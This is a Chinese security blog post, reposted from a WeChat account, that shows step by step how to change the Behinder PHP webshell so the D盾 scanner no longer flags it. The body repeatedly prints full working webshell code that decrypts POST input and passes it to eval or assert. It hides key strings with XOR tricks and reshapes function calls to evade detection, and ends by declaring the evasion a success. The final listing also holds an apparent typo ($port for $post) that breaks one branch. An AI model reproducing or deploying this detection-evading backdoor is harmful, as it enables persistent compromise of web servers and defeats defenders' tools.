1、源码特征修改
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?
这是源代码首先修改使用关键的函数
源码$t="base64_"."decode";
使用异或获取base64_decode代码为
$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
代码修改如下
@error_reporting(0);
session_start();
$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
使用d盾的版本
发现不管怎么改发现都是已知后门,经过排查发现d盾识别的是class C{public function __invoke($p) {eval($p."");}} 里面的eval,先将eval改为assert(注:php高版本不支持assert),先修改测试完后,最后在处理这里,改完后告警就变成3级。
接下来处理告警的函数
对$post=file_get_contents("php://input");进行处理
首先将file_get_contents拿出来,修改为
$f='file'.'_get'.'_contents';
php://input发现使用字符拼接还是会告警,这里同样采用异或处理
$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
这样就变成了
$post=$f($p);
@error_reporting(0);
session_start();
$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
$f='file'.'_get'.'_contents';
$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=$f($p);
if(!extension_loaded('openssl'))
{
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {assert($p."");}}
@call_user_func(new C(),$params);
2、可疑文件处理
经过1阶段的混淆,现在文件变成了可疑文件。
显示可疑文件,这个还是比较坑的不知道是哪的问题,没办法只能一行一行的去删
最后测试发现,和$post[$i] = $post[$i]^$key[$i+1&15]; 这行有关系,删除就不告警了
文件只删除这行确定了告警位置
$post[$i] = $post[$i]^$key[$i+1&15];写成了一行进行拆分
拆分后
$key = $key[$i+1&15];
$post[$i] = $port[$i]^$key;
在测试,成功绕过
经过测试我本地环境已经加载了opensll扩展,删除这个if判断只留下else也可以正常使用的。
3、处理eva问题
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
这是冰蝎最后两行的代码
经过进行关键字删除发现,d盾检测__invoke
查手册发现call_user_func可以进行对象实例化和调用对象方法
可以修改为
class C{public function b($p) {eval($p."");}}
@call_user_func(array(C,b),$params);
改造完成后源码
@error_reporting(0);
session_start();
$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
$f='file'.'_get'.'_contents';
$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=$f($p);
if(!extension_loaded('openssl'))
{
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$key = $key[$i+1&15];
$post[$i] = $port[$i]^$key;
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function b($p) {eval($p."");}}
@call_user_func(array(C,b),$params);
成功免杀
本文由t00ls大佬wxjjh首发原创
最后
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
本文始发于微信公众号(无害实验室sec):冰蝎php免杀bypass
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论